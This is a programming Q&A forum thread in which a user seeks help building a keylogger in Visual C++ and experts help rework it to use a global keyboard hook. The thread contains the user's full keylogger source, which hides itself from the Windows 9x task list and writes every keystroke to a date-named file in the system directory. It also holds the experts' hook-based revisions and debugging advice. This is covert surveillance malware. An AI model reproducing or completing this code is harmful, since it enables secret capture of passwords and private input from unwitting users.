Improve company productivity with a Business Account.Sign Up

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 1947
  • Last Modified:

Capture keys w/o GetAsyncKeyState

how do i make a keylogger in VC++? i made one using GetAsyncKeyState in an infinite loop, but im sure it isnt the right way to go! if u type really fast it doesnt capture the keys in the same order they're typed.
0
kurian2z5
Asked:
kurian2z5
  • 12
  • 8
  • 3
  • +1
2 Solutions
 
AlexFMCommented:
Install global keyboard hook (see SetWindowsHookEx with WH_KEYBOARD_LL parameter) and handle keyboard messages:

WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP

0
 
kurian2z5Author Commented:
will try and be back, lil busy now
0
 
kurian2z5Author Commented:
ive looked it up on the msdn site but i cant quite put it together..
can u give me some example code ?
0
Get expert help—faster!

Need expert help—fast? Use the Help Bell for personalized assistance getting answers to your important questions.

 
itsmeandnobodyelseCommented:
calling GetAsyncKeyState() only gives you the information whether specified keys, e. g. VK_CTRL, VK_ALT, VK_SHIFT, currently are pressed by the user. It has nothing to do with key hooking.

If you only want to log keys entered to your dialog rather than all keystrokes you may override CWnd::PreTranslateMessage() like that:

in dialog header:

class CMyDialog : public CDialog
{
   ....
   virtual BOOL PreTranslateMessage( MSG* pMsg );
   ....
};

in dialog cpp:

  BOOL CMyDialog::PreTranslateMessage( MSG* pMsg )
  {
       switch (pMsg->message)
       {
       case WM_KEYDOWN:
             {
                  LogKeystroke(pMsg->wParam,            // contains virtual key code
                                      pMsg->lParam);             // contains keydata see below
                  break;
             }
        }    
   }


lKeyData
Value of lParam. Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag, as shown in the following table.

BitValue Description
0–15     Specifies the repeat count for the current message. The value is the number of times
            the keystroke is auto-repeated as a result of the user holding down the key. If the #
            keystroke is held long enough, multiple messages are sent. However, the repeat count
            is not cumulative.
16–23   Specifies the scan code. The value depends on the original equipment manufacturer (OEM).
24        Specifies whether the key is an extended key, such as the right-hand alt and ctrl keys that
            appear on an enhanced 101- or 102-key keyboard. The value is 1 if it is an extended key;
            otherwise, it is 0.
25–28   Reserved; do not use.
29        Specifies the context code. The value is always 0 for a WM_KEYDOWN message.
30        Specifies the previous key state. The value is 1 if the key is down before the message is sent,
            or it is 0 if the key is up.
31         Specifies the transition state. The value is always 0 for a WM_KEYDOWN message.
   

Regards, Alex

   
0
 
kurian2z5Author Commented:
ive already got  a keybd hook dll from somewhere else. i want to make mine a stand alone app.

 itsmeandnobodyelse ur code is a bit too advanced for me..im new to vc++
0
 
kurian2z5Author Commented:
i just want to know how to use SetWindowsHookEx cos it seem to be the most suitable
0
 
denagoCommented:
The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. An application installs a hook procedure to monitor the system for certain types of events. A hook procedure can monitor events associated either with a specific thread or with all threads in the system. This function supersedes the SetWindowsHook function.

HHOOK SetWindowsHookEx(

    int  idHook,      // type of hook to install
    HOOKPROC  hkprc,      // address of hook procedure
    HINSTANCE  hMod,      // handle of application instance
    DWORD  dwThreadID       // identity of thread to install hook for
   );      
Parameters

idHook

Specifies the type of hook procedure to be installed. This parameter can be one of the following values:

Value      Description
WH_CALLWNDPROC      Installs a hook procedure that monitors messages before the system sends them to the destination window procedure. For more information,  the CallWndProc hook procedure.
WH_CALLWNDPROCRET      Windows 95 only: Installs a hook procedure that monitors messages after they have been processed by the destination window procedure. For more information, see  the CallWndRetProc hook procedure.
WH_CBT      Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application. For more information, see the CBTProc hook procedure.
WH_DEBUG      Installs a hook procedure useful for debugging other hook procedures. For more information, see the DebugProc hook procedure.
WH_GETMESSAGE      Installs a hook procedure that monitors messages posted to a message queue. For more information, see the GetMsgProc hook procedure.
WH_JOURNALPLAYBACK      Installs a hook procedure that posts messages previously recorded by a WH_JOURNALRECORD hook procedure. For more information, see the JournalPlaybackProc hook procedure.
WH_JOURNALRECORD      Installs a hook procedure that records input messages posted to the system message queue. This hook is useful for recording macros. For more information, see the JournalRecordProc hook procedure.
WH_KEYBOARD      Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook procedure.
WH_MOUSE      Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.
WH_MSGFILTER      Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. For more information, see  the MessageProc hook procedure.
WH_SHELL      Installs a hook procedure that receives notifications useful to shell applications. For more information, see  the ShellProc hook procedure.
WH_SYSMSGFILTER      Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. The hook procedure monitors these messages for all applications in the system. For more information, see  the SysMsgProc hook procedure.
hkprc

Points to the hook procedure. If the dwThreadID parameter is zero or specifies the identifier of a thread created by a different process, the hkprc parameter must point to a hook procedure in a dynamic-link library (DLL). Otherwise, hkprc can point to a hook procedure in the code associated with the current process.

hMod

Identifies the DLL containing the hook procedure pointed to by the hkprc parameter. The hMod parameter must be set to NULL if the dwThreadID parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.

dwThreadID

Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads.

Return Value

If the function succeeds, the return value is the handle of the hook procedure.
If the function fails, the return value is NULL.

Remarks

An error may occur if the hMod parameter is NULL and the dwThreadId parameter is zero or specifies the identifier of a thread created by another process.
Chaining to the next hook procedure (that is, calling the CallNextHookEx function) is optional. An application or library can call the next hook procedure either before or after any processing in its own hook procedure.
Before terminating, an application must call the UnhookWindowsHookEx function to free system resources associated with the hook.

The scope of a hook depends on the hook type. Some hooks can be set only with system scope; others can also be set for only a specific thread, as shown in the following list:

Hook      Scope
WH_CALLWNDPROC      Thread or system
WH_CBT      Thread or system
WH_DEBUG      Thread or system
WH_GETMESSAGE      Thread or system
WH_JOURNALPLAYBACK      System only
WH_JOURNALRECORD      System only
WH_KEYBOARD      Thread or system
WH_MOUSE      Thread or system
WH_MSGFILTER      Thread or system
WH_SHELL      Thread or system
WH_SYSMSGFILTER      System only

For a specified hook type, thread hooks are called first, then system hooks.

The system hooks are a shared resource, and installing one affects all applications. All system hook functions must be in libraries. System hooks should be restricted to special-purpose applications or to use as a development aid during application debugging. Libraries that no longer need a hook should remove the hook procedure.
0
 
kurian2z5Author Commented:
ok once i set the hook for keyboard, how do i receive the keys that are pressed ?
0
 
itsmeandnobodyelseCommented:
The second argument of SetWindowsHookEx is the name of a callback function you have to provide. That function will be called by Wiindows whenever a key is pressed.

The callback function should be like that:

LRESULT CALLBACK CallWndProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
);
 
The wParam and lParam values are same as with WM_KEYDOWN message.

Regards, Alex
0
 
kurian2z5Author Commented:
is this a normal function i declare in my program ? so what ever my program should do with the keypress should be in this function ?
0
 
kurian2z5Author Commented:
can u give me the syntax of using the function, like

result = SetWindowsHookEx (WH_KEYBOARD,MyFunction, what goes here for hMod ? ,0);

can u give the code to set the hook and just print the key thats pressed.
0
 
itsmeandnobodyelseCommented:
That is the syntax.
LRESULT CALLBACK CallWndProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
);

You have to put that prototype below either to the cpp file where you call SetWindowsHookEx or as a static member function to the class where you are installing the hook:

class CMyDialog
{
     ...
public:
      static HHOOK  m_hook;  // takes the hook handle returned from SetWindowsHookEx
      static LRESULT CALLBACK CallWndProc
             ( int nCode,      // hook code
               WPARAM wParam,  // current-process flag
               LPARAM lParam   // address of structure with message data
             );
     ....
};


The implementation of that function is like that

HHOOK CMyDialog::m_hook = NULL;
 
LRESULT CALLBACK CMyDialog::CallWndProc
       ( int nCode,      // hook code
         WPARAM wParam,  // current-process flag
         LPARAM lParam   // address of structure with message data
       )
{
     if (nCode >= 0)
     {
        // check wParam == key and lParam == flags
        // if you want to process the key return 1
     
     }
     // give other hooks a chance
     return CallNextHookEx(m_hook, nCode, wParam, lParam);  
}


>> what goes here for hMod

hMod is the instance handle of your windows application. You'll get it with WinMain(..) function or - if using MFC - in your application class that is derived from CWinApp.

>> dwThreadID

Could be zero if no special thread should handle all hooks.

Regards, Alex
0
 
kurian2z5Author Commented:
i dont know how to put all this in my program!!!
0
 
itsmeandnobodyelseCommented:
Are you using MFC or not?
What kind of application do you have now? Win32 Console program (has main function)? Or Win32 program (has WinMain function)?
What compiler?

Regards, Alex

BTW, keyhooking is one of the most difficult programming tasks. If you are a beginner, i doubt that you have a reasonable chance to succeed.

0
 
denagoCommented:
0
 
kurian2z5Author Commented:
m using a win32 application without MFC, just simple win32 application. it added the stdafx header and the code. so i am able to make simple programs. i made a keylogger with help from some other website and it works, but it depends more on the speed of the computer to log correctly (any modern pc will do). its not the right way but its fine for me. the only problem is when u type into java applets it takes 2-3 seconds for the key to appear. its normal for anything else.

heres the code

now how do i use SetWindowsHookEx instead of GetAsyncKeyState ?

#include <stdafx.h>
#include <windows.h>
#include <winuser.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

void Win9xService(void);
void writelog(int key,char *file);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
      Win9xService();

      char dpath[16] = "";
      char syspath[255];
      unsigned int i;

      i=GetSystemDirectory(syspath,255);

      time_t tt;
      time(&tt);
      strftime( dpath, sizeof(dpath), "%d-%m-%y", localtime(&tt) );
      strcat (dpath,".txt");
      strcat (syspath,"32\\");
      strcat (syspath,dpath);

      
      while(1)
      {
            for (i=8;i<=255;i++)
            {
                  if (GetAsyncKeyState(i)==-32767)
                        writelog(i,syspath);
            }
      }


      return 0;
}

void Win9xService(void)
{
    HINSTANCE hKernel = LoadLibrary("KERNEL32.DLL");
    if (hKernel == NULL)
    {
        return;
    }

    FARPROC lpfn = GetProcAddress(hKernel, "RegisterServiceProcess");

    typedef DWORD (WINAPI * pICFUNC)(DWORD , DWORD );
    pICFUNC fpRegisterServiceProcess;

    fpRegisterServiceProcess = pICFUNC(lpfn);

    if (fpRegisterServiceProcess(GetCurrentProcessId(), 1) == 1)
    {
        return;
    }

    FreeLibrary(hKernel);

    return;
}

void writelog(int key,char *file)
{

      FILE *lhandle;
      lhandle = fopen(file,"a+");

      if (key==8)
            fprintf(lhandle,"%s","{DEL}");
      else if (key==13)
            fprintf(lhandle,"%s","{ENTER}");
      else if (key==32)
            fprintf(lhandle,"%s","{SPACE}");
      else if (key==VK_CAPITAL)
            fprintf(lhandle,"%s","{CAPS}");
      else if (key==VK_TAB)
            fprintf(lhandle,"%s","{TAB}");
      else if (key ==VK_SHIFT)
            fprintf(lhandle,"%s","{SHIFT}");
      else if (key ==VK_CONTROL)
            fprintf(lhandle,"%s","{CTRL}");
      else if (key ==18)
            fprintf(lhandle,"%s","{ALT}");
      else if (key ==VK_PAUSE)
            fprintf(lhandle,"%s","{PAUSE}");
      else if (key ==VK_ESCAPE)
            fprintf(lhandle,"%s","{ESC}");
      else if (key ==VK_END)
            fprintf(lhandle,"%s","{END}");
      else if (key ==VK_HOME)
            fprintf(lhandle,"%s","{HOME}");
      else if (key ==VK_LEFT)
            fprintf(lhandle,"%s","{LEFT}");
      else if (key ==VK_UP)
            fprintf(lhandle,"%s","{UP}");
      else if (key ==VK_RIGHT)
            fprintf(lhandle,"%s","{RIGHT}");
      else if (key ==VK_DOWN)
            fprintf(lhandle,"%s","{DOWN}");
      else if (key ==VK_SNAPSHOT)
            fprintf(lhandle,"%s","{PRINT}");
      else if (key ==VK_NUMLOCK)
            fprintf(lhandle,"%s","{NUM}");
      else if (key ==190 || key==110)
            fprintf(lhandle,"%s",".");
      else if (key >=96 && key <= 105)
      {
            key = key - 48;
            fprintf(lhandle,"%s",&key) ;
      }
      else if (key >=48 && key <= 59)
            fprintf(lhandle,"%s",&key) ;
      else if (key !=VK_LBUTTON || key !=VK_RBUTTON)
      {
            if (key >=65 && key <=90)
            {
                  key = key +32;
                  fprintf(lhandle,"%s",&key);
            }
      }

      fclose(lhandle);

}
0
 
itsmeandnobodyelseCommented:
First recommendation:

Did you check the link denago gave you? If you download the project, you got all source code you need.

It's an EXE and a DLL that do quite that what you are trying to do here. And it should work on all platforms.


Second recommendation:

Try the code below on Win98 (i didn't add Win9xService and writelog functions as i didn't changed them). It doesn't work on NT, W2K, WXP (maybe because it has no window and no message loop. The hook wasn't called only once in Debugger). But maybe it works on your platform and the service registration in W98 will help.

#include <stdafx.h>
#include <windows.h>
#include <winuser.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

void Win9xService(void);
void writelog(int key,char *file);

LRESULT CALLBACK KeyboardProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
);

HHOOK g_hook = NULL;
bool  g_stop = false;
char  g_syspath[255];


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     Win9xService();

     char dpath[16] = "";
     // char syspath[255];  // Need global variable
     unsigned int i;

     i=GetSystemDirectory(g_syspath,255);

     time_t tt;
     time(&tt);
     strftime( dpath, sizeof(dpath), "%d-%m-%y", localtime(&tt) );
     strcat (dpath,".txt");
     strcat (g_syspath,"32\\");
     strcat (g_syspath,dpath);

     g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, NULL);

     if (g_hook == NULL)
     {
         MessageBox(NULL, "SetWindowsHookEx failed. See return code for error.", "", MB_OK);
         return GetLastError();
     }

     while(1)
     {
         /*
          for (i=8;i<=255;i++)
          {
               if (GetAsyncKeyState(i)==-32767)
                    writelog(i,syspath);
          }
          */
         Sleep(10);   // 10 milliseconds
         if (g_stop)
             break;
     }


     return 0;
}  

LRESULT CALLBACK KeyboardProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
)
{
     static int        count   = 0;
     static const char quit[]  = "quit";

     if (nCode >= 0)
     {
        // check wParam == key and lParam == flags
        // if you want to process the key return 1
        writelog(wParam, g_syspath);

        // try to recognize quit code
        if (count < (sizeof(quit)-1) && (char)wParam == quit[count])
        {
            if (++count == sizeof(quit))
            {
                g_stop = true;
                count = 0;
            }
        }
        else
            count = 0;
     
     }
     // give other hooks a chance
     return CallNextHookEx(g_hook, nCode, wParam, lParam);  
}


Third recommendation: Use GetKeyboardState instead of GetAsyncKeyState. That doesn't work on NT, W2k, XP (maybe there is no window) but when - as you've said - your version above works maybe that will work also.

Replace your while(1) loop with that:

     BYTE vkeys[256];
     while(1)
     {
         GetKeyboardState(vkeys);
          for (i=8;i<=255;i++)
          {
               // check if highest bit is set
               if ((vkeys[i]&0x80)!=0)
                  writelog(i,syspath);
          }
         Sleep(1);   // 1 milliseconds wait. Should give your java applets a chance
     }

Regards, Alex












0
 
denagoCommented:
Using a method like the GetKeyboardState above you still will have the issue with losing ordering.

Check the link I posted and you'll have the full source you need.  You can then just copy & paste since that is what you are looking for anyway :D
0
 
kurian2z5Author Commented:
denago ur code works but its really complex and hard to adapt.
no offence :D

Alex, i tried ur code with SetWindowsHookEx but whenever i press a key this debug box pops up.

-----------------------------------------------------------
Microsoft Visual C++ Debug Library                    X
-----------------------------------------------------------
Program : C:\windows\notepad.exe (or whatever the active window is)
File: fopen.c
Line: 54
Expression: *file!=_T('\0')


so i just added the sleep(1) to my while loop. (the GetKeyboardState didnt work.
vkeys[i]&0x80 was always 0)
the applet work fine now. thanx

BTW split 25 more pts for denago. ill need that code for later.
0
 
itsmeandnobodyelseCommented:
-----------------------------------------------------------
Microsoft Visual C++ Debug Library                    X
-----------------------------------------------------------
Program : C:\windows\notepad.exe (or whatever the active window is)
File: fopen.c
Line: 54
Expression: *file!=_T('\0')


Oh, i think i know what happens.

As the callback was called by other executables the callback function has no access to the global filename stored in your application.

So, you either need a constant filename or you have to buíld the filename in the KeyboardHook function using local variables (not global ones).

The Fallenhobit guy avoids that problem by using a DLL that automatically initializes the filename when called the first time.

Regards, Alex


0
 
kurian2z5Author Commented:
so how do i do that ?
0
 
itsmeandnobodyelseCommented:
You may try that, but i doubt that static memory is BETTER than global memory. So, i still recommend to use denago's link as it uses an DLL instance that could store filename and hook handle (as i downloaded it also, i would be able to help you with that...),


#include <process.h>

#define PASS_HOOK       55555
#define PASS_FILENAME   66666


HHOOK g_hook = NULL;
char  g_syspath[256];


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     Win9xService();

     char dpath[16] = "";
     // char syspath[255];  // Need global variable
     unsigned int i;

     i=GetSystemDirectory(g_syspath,255);

     time_t tt;
     time(&tt);
     strftime( dpath, sizeof(dpath), "%d-%m-%y", localtime(&tt) );
     strcat (dpath,".txt");
     strcat (g_syspath,"32\\");
     strcat (g_syspath,dpath);

     g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, NULL);


     if (g_hook == NULL)
     {
         MessageBox(NULL, "SetWindowsHookEx failed. See return code for error.", "", MB_OK);
         return GetLastError();
     }

     // Now, try to pass hook and filename to callback
     KeyboardProc(PASS_HOOK,     0, (LPARAM)g_hook);
     KeyboardProc(PASS_FILENAME, 0, (LPARAM)g_syspath);

     while(1)
     {
         Sleep(10);   // 10 milliseconds
     }
     return 0;
}  



LRESULT CALLBACK KeyboardProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
)
{
     static HHOOK hook          = NULL;
     static char  filename[256] = { '\0' };

     if (hook == NULL && nCode == PASS_HOOK)
     {
         hook = (HHOOK)lParam;
     }
     else if (nCode == PASS_FILENAME)
     {
         char* pFile = (char*)lParam;
         strcpy(filename, pFile);
     }
     else if (nCode >= 0)
     {
        // check if static variables have been set properly
        if (hook == NULL || strlen(filename) == 0)
        {
           
            if (hook == NULL)
            {
                if (g_hook == NULL)
                // That's bad as we need that to pass the hook
                // Seems, that static variables were initialized
                // with any new application
                // We could read the value from Share Memory or File
                // but that isn't easier than the DLL solution of
                // FallenHobit
                {
                    static bool showError = true;
                    if (showError)
                    {
                        showError = false;
                        char command[512] = "echo [";
                        char exefile[256];
                        GetModuleFileName(NULL, exefile, 256);
                        strcat(command, exefile);
                        strcat(command, "], hook handle is NULL > c:\\keyhook.err");
                        system(command);
                    }
                }
                else
                    hook = g_hook;
            }
            if (filename[0] == '0')
            {
                if (g_syspath[0] == '\0')
                {
                    strcpy(filename, "c:\\keyhook.log");
                }
                else
                {
                    strcpy(filename, g_syspath);
                }

            }
        }

        // check wParam == key and lParam == flags
        // if you want to process the key return 1
        writelog(wParam, filename);

     }
     // give other hooks a chance
     return CallNextHookEx(hook, nCode, wParam, lParam);  
}


Regards, Alex

0
 
kurian2z5Author Commented:
Nope it still shows the message. the dll works but i dont want a dll. anyway never mind, as long as we got it working somehow
0
 
itsmeandnobodyelseCommented:
>> but i dont want a dll.

The DLL has the advantage that it has an own instance handle (you remember the hmod parameter). So it could hold data common to all calling processes what doesn't seem possible when using a separate process.

Did you get any error message in the keyhook.err file. Or any logs in keyboard.log. Did you find out whether the hook handle copod be properly passed to the callback function or whether the file name is known with in the callback function?

You could write the hook handle and the filename to a file - say in c:\keyhook,ini . and then read it in the KeyboardProc function the very first time. Store it to static variables as i did in my last post. You also could try to use fsopen instead of fopen in writelog(). Maybe the message is because of sharing violation.

>> Expression: *file!=_T('\0')

That means that the fopen failed (file handle is NULL) . That could be because of an empty or invalid filename or because of sharing violations. Check the lhandle value in writelog() and try to write the error you got :

     #include <errno.h>
     #inlude <iostream>
     #include <fstream>


void writelog(int key,char *file)
{
     FILE *lhandle;
     lhandle = fopen(file,"a+");

      if (lhandle == NULL)
      {
            ofstream ofs("c:\\keyboard.err", ios::append | ios::out);
            if (!ofs.fail())
            {
                  ofs << "filename = " << filename  << " open error = " << errno << endl;
                  ofs.close();
                  return;
            }            
      }
 
      ....


Regards, Alex
0
Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

Join & Write a Comment

Featured Post

Free Tool: ZipGrep

ZipGrep is a utility that can list and search zip (.war, .ear, .jar, etc) archives for text patterns, without the need to extract the archive's contents.

One of a set of tools we're offering as a way to say thank you for being a part of the community.

  • 12
  • 8
  • 3
  • +1
Tackle projects and never again get stuck behind a technical roadblock.
Join Now